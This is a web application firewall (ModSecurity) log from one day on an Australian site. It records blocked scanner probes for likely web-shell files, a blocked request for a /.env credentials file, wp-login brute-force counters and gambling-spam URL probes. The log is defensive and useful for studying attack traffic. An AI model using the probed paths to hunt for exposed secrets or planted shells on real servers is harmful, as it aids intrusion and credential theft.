[Wed Apr 22 08:07:04.096950 2026] [:error] [pid 32095:tid 32101] [client 20.215.187.59:22656] [client 20.215.187.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gettest.php"] [unique_id "aegRKNfu5Cv628YPe598wgAAA4M"]
[Wed Apr 22 08:07:06.942957 2026] [:error] [pid 23041:tid 23057] [client 20.215.187.59:22705] [client 20.215.187.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gettest.php"] [unique_id "aegRKkTXx_lUa7xwAb4IqwAAAQ0"]
[Wed Apr 22 08:08:17.519385 2026] [:error] [pid 21682:tid 21741] [client 20.215.187.59:20332] [client 20.215.187.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bolt.php"] [unique_id "aegRcZlXWQZUlmPHS3oavQAAAFI"]
[Wed Apr 22 08:08:18.862139 2026] [:error] [pid 31755:tid 31777] [client 20.215.187.59:64322] [client 20.215.187.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bolt.php"] [unique_id "aegRcgz2mYMkg3X8q1uH-AAAAg4"]
[Wed Apr 22 08:08:20.688231 2026] [:error] [pid 31756:tid 31800] [client 20.215.187.59:7476] [client 20.215.187.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bolt.php"] [unique_id "aegRdN_WbkXbHaEfhd3pzwAAAkg"]
[Wed Apr 22 08:08:22.619378 2026] [:error] [pid 31756:tid 31815] [client 20.215.187.59:13524] [client 20.215.187.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bolt.php"] [unique_id "aegRdt_WbkXbHaEfhd3p0QAAAlc"]
[Wed Apr 22 08:08:25.438481 2026] [:error] [pid 21682:tid 21725] [client 20.215.187.59:13522] [client 20.215.187.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gifclass.php"] [unique_id "aegReZlXWQZUlmPHS3oaxQAAAEI"]
[Wed Apr 22 08:08:31.136398 2026] [:error] [pid 31755:tid 31769] [client 20.215.187.59:7465] [client 20.215.187.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gifclass.php"] [unique_id "aegRfwz2mYMkg3X8q1uIAwAAAgY"]
[Wed Apr 22 08:08:32.389322 2026] [:error] [pid 31756:tid 31798] [client 20.215.187.59:64325] [client 20.215.187.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gifclass.php"] [unique_id "aegRgN_WbkXbHaEfhd3p1AAAAkY"]
[Wed Apr 22 08:08:33.500061 2026] [:error] [pid 23041:tid 23054] [client 20.215.187.59:7299] [client 20.215.187.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gifclass.php"] [unique_id "aegRgUTXx_lUa7xwAb4JIwAAAQo"]
[Wed Apr 22 08:08:34.886316 2026] [:error] [pid 23041:tid 23049] [client 20.215.187.59:13540] [client 20.215.187.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ccs.php"] [unique_id "aegRgkTXx_lUa7xwAb4JKgAAAQU"]
[Wed Apr 22 08:08:36.826411 2026] [:error] [pid 23041:tid 23060] [client 20.215.187.59:65444] [client 20.215.187.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ccs.php"] [unique_id "aegRhETXx_lUa7xwAb4JLwAAARA"]
[Wed Apr 22 08:08:37.821800 2026] [:error] [pid 31756:tid 31811] [client 20.215.187.59:65413] [client 20.215.187.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ccs.php"] [unique_id "aegRhd_WbkXbHaEfhd3p1gAAAlM"]
[Wed Apr 22 08:08:39.075194 2026] [:error] [pid 31756:tid 31802] [client 20.215.187.59:65468] [client 20.215.187.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ccs.php"] [unique_id "aegRh9_WbkXbHaEfhd3p2wAAAko"]
[Wed Apr 22 08:08:40.036132 2026] [:error] [pid 23041:tid 23061] [client 20.215.187.59:7456] [client 20.215.187.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/first.php"] [unique_id "aegRiETXx_lUa7xwAb4JMwAAARE"]
[Wed Apr 22 08:08:40.786730 2026] [:error] [pid 31755:tid 31787] [client 20.215.187.59:64347] [client 20.215.187.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/first.php"] [unique_id "aegRiAz2mYMkg3X8q1uIDQAAAhg"]
[Wed Apr 22 08:08:41.632941 2026] [:error] [pid 31756:tid 31810] [client 20.215.187.59:64376] [client 20.215.187.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/first.php"] [unique_id "aegRid_WbkXbHaEfhd3p3gAAAlI"]
[Wed Apr 22 08:08:42.285731 2026] [:error] [pid 23041:tid 23050] [client 20.215.187.59:23069] [client 20.215.187.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/first.php"] [unique_id "aegRikTXx_lUa7xwAb4JOAAAAQY"]
[Wed Apr 22 08:38:40.436705 2026] [:error] [pid 32053:tid 32064] [client 185.74.80.5:36046] [client 185.74.80.5] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.74.80.5, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aegYkAzPjXx_ocfbYhs_6wAAA0k"]
[Wed Apr 22 11:05:09.126585 2026] [:error] [pid 21682:tid 21739] [client 147.182.213.110:16406] [client 147.182.213.110] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env"] [unique_id "aeg65ZlXWQZUlmPHS3pR0wAAAFA"]
[Wed Apr 22 11:42:11.074598 2026] [:error] [pid 32053:tid 32055] [client 157.66.27.54:47696] [client 157.66.27.54] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 157.66.27.54, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aehDkwzPjXx_ocfbYhtceAAAA0A"]
[Wed Apr 22 13:24:09.267566 2026] [:error] [pid 31949:tid 31975] [client 188.166.244.214:36106] [client 188.166.244.214] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 188.166.244.214, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aehbeX2WtGZh5JfbMUdwaQAAAxc"]
[Wed Apr 22 14:25:40.853795 2026] [:error] [pid 9085:tid 9108] [client 81.167.26.57:6235] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20168.aspx"] [unique_id "aehp5N-_-or9vQnlWnp61QAAAVU"]
[Wed Apr 22 14:25:43.469364 2026] [:error] [pid 9085:tid 9109] [client 81.167.26.57:35018] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20789.aspx"] [unique_id "aehp59-_-or9vQnlWnp68QAAAVY"]
[Wed Apr 22 14:25:46.067645 2026] [:error] [pid 6384:tid 6400] [client 81.167.26.57:16074] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20888th.aspx"] [unique_id "aehp6j58M3t15ICeWHWJcwAAAM0"]
[Wed Apr 22 14:25:48.655120 2026] [:error] [pid 9085:tid 9098] [client 81.167.26.57:51189] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20auto%20wallet.aspx"] [unique_id "aehp7N-_-or9vQnlWnp7CAAAAUs"]
[Wed Apr 22 14:25:51.884360 2026] [:error] [pid 6344:tid 6355] [client 81.167.26.57:50751] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20auto.aspx"] [unique_id "aehp70DOTF-pkQnDeUl1AwAAAAY"]
[Wed Apr 22 14:25:54.470431 2026] [:error] [pid 6384:tid 6399] [client 81.167.26.57:56775] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20game.aspx"] [unique_id "aehp8j58M3t15ICeWHWJiwAAAMw"]
[Wed Apr 22 14:26:01.043969 2026] [:error] [pid 9085:tid 9101] [client 81.167.26.57:4577] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20vegas.aspx"] [unique_id "aehp-d-_-or9vQnlWnp7SQAAAU4"]
[Wed Apr 22 14:26:03.643900 2026] [:error] [pid 6252:tid 6322] [client 81.167.26.57:60412] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20vip.aspx"] [unique_id "aehp--tGYuiYb1nWBpT6swAAAQo"]
[Wed Apr 22 14:26:06.244046 2026] [:error] [pid 9085:tid 9111] [client 81.167.26.57:7885] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20wallet.aspx"] [unique_id "aehp_t-_-or9vQnlWnp7YgAAAVg"]
[Wed Apr 22 14:26:08.824114 2026] [:error] [pid 6384:tid 6407] [client 81.167.26.57:22002] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot168.aspx"] [unique_id "aehqAD58M3t15ICeWHWJpgAAANQ"]
[Wed Apr 22 14:26:37.476182 2026] [:error] [pid 9085:tid 9096] [client 81.167.26.57:15518] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20world.aspx"] [unique_id "aehqHd-_-or9vQnlWnp8AQAAAUk"]
[Wed Apr 22 14:26:40.032071 2026] [:error] [pid 9085:tid 9106] [client 81.167.26.57:1580] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pgslot%20login.aspx"] [unique_id "aehqIN-_-or9vQnlWnp8BwAAAVM"]
[Wed Apr 22 14:26:42.469632 2026] [:error] [pid 6344:tid 6370] [client 81.167.26.57:56656] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pgzeed%20gold.aspx"] [unique_id "aehqIkDOTF-pkQnDeUl1owAAABU"]
[Wed Apr 22 14:26:45.057927 2026] [:error] [pid 6252:tid 6327] [client 81.167.26.57:26617] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pp%20slot.aspx"] [unique_id "aehqJetGYuiYb1nWBpT65wAAAQ8"]
[Wed Apr 22 14:26:47.653804 2026] [:error] [pid 6344:tid 6349] [client 81.167.26.57:26968] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/riches666%20pg.aspx"] [unique_id "aehqJ0DOTF-pkQnDeUl1swAAAAA"]
[Wed Apr 22 14:26:50.110663 2026] [:error] [pid 6251:tid 6295] [client 81.167.26.57:64451] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/riches777%20pg.aspx"] [unique_id "aehqKisFAzbyObL-SQ412wAAAIo"]
[Wed Apr 22 14:26:52.694722 2026] [:error] [pid 9085:tid 9096] [client 81.167.26.57:39798] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/royal%20slot.aspx"] [unique_id "aehqLN-_-or9vQnlWnp8IQAAAUk"]
[Wed Apr 22 14:26:55.290146 2026] [:error] [pid 9085:tid 9103] [client 81.167.26.57:51064] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sa%20casino.aspx"] [unique_id "aehqL9-_-or9vQnlWnp8MgAAAVA"]
[Wed Apr 22 14:26:57.739029 2026] [:error] [pid 9085:tid 9097] [client 81.167.26.57:47586] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sbobet%20auto.aspx"] [unique_id "aehqMd-_-or9vQnlWnp8QwAAAUo"]
[Wed Apr 22 14:27:00.301104 2026] [:error] [pid 6251:tid 6297] [client 81.167.26.57:47467] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sbobet%20ca.aspx"] [unique_id "aehqNCsFAzbyObL-SQ415QAAAIw"]
[Wed Apr 22 14:27:02.884658 2026] [:error] [pid 6344:tid 6356] [client 81.167.26.57:46777] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20777.aspx"] [unique_id "aehqNkDOTF-pkQnDeUl16gAAAAc"]
[Wed Apr 22 14:27:05.480518 2026] [:error] [pid 6251:tid 6291] [client 81.167.26.57:40019] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20888.aspx"] [unique_id "aehqOSsFAzbyObL-SQ417AAAAIY"]
[Wed Apr 22 14:27:08.063236 2026] [:error] [pid 6252:tid 6324] [client 81.167.26.57:27877] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20auto.aspx"] [unique_id "aehqPOtGYuiYb1nWBpT6-wAAAQw"]
[Wed Apr 22 14:27:10.655157 2026] [:error] [pid 6344:tid 6354] [client 81.167.26.57:40881] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20demo.aspx"] [unique_id "aehqPkDOTF-pkQnDeUl2BQAAAAU"]
[Wed Apr 22 14:27:13.232275 2026] [:error] [pid 6252:tid 6335] [client 81.167.26.57:25239] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20free.aspx"] [unique_id "aehqQetGYuiYb1nWBpT7AgAAARc"]
[Wed Apr 22 14:27:15.673708 2026] [:error] [pid 9085:tid 9096] [client 81.167.26.57:53487] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20game%20666.aspx"] [unique_id "aehqQ9-_-or9vQnlWnp8XQAAAUk"]
[Wed Apr 22 14:27:18.262017 2026] [:error] [pid 9085:tid 9087] [client 81.167.26.57:34125] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20joker.aspx"] [unique_id "aehqRt-_-or9vQnlWnp8ZgAAAUA"]
[Wed Apr 22 14:27:20.679459 2026] [:error] [pid 9085:tid 9108] [client 81.167.26.57:58296] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20online.aspx"] [unique_id "aehqSN-_-or9vQnlWnp8cQAAAVU"]
[Wed Apr 22 14:27:23.287935 2026] [:error] [pid 9085:tid 9109] [client 81.167.26.57:61486] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20soft.aspx"] [unique_id "aehqS9-_-or9vQnlWnp8ewAAAVY"]
[Wed Apr 22 14:27:25.901173 2026] [:error] [pid 6384:tid 6391] [client 81.167.26.57:37489] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20vip.aspx"] [unique_id "aehqTT58M3t15ICeWHWKcwAAAMQ"]
[Wed Apr 22 14:27:29.131551 2026] [:error] [pid 6250:tid 6261] [client 81.167.26.57:59704] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20wallet.aspx"] [unique_id "aehqUQ-iZeQkqmQVfj6tWAAAAEc"]
[Wed Apr 22 14:28:06.101593 2026] [:error] [pid 6250:tid 6265] [client 81.167.26.57:54511] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/spg%20slot.aspx"] [unique_id "aehqdg-iZeQkqmQVfj6tiwAAAEs"]
[Wed Apr 22 14:28:08.643786 2026] [:error] [pid 6384:tid 6408] [client 81.167.26.57:55083] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/spx%20slot.aspx"] [unique_id "aehqeD58M3t15ICeWHWK2wAAANU"]
[Wed Apr 22 14:28:11.255245 2026] [:error] [pid 6250:tid 6275] [client 81.167.26.57:55464] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/super%20pg%201688.aspx"] [unique_id "aehqew-iZeQkqmQVfj6tmQAAAFU"]
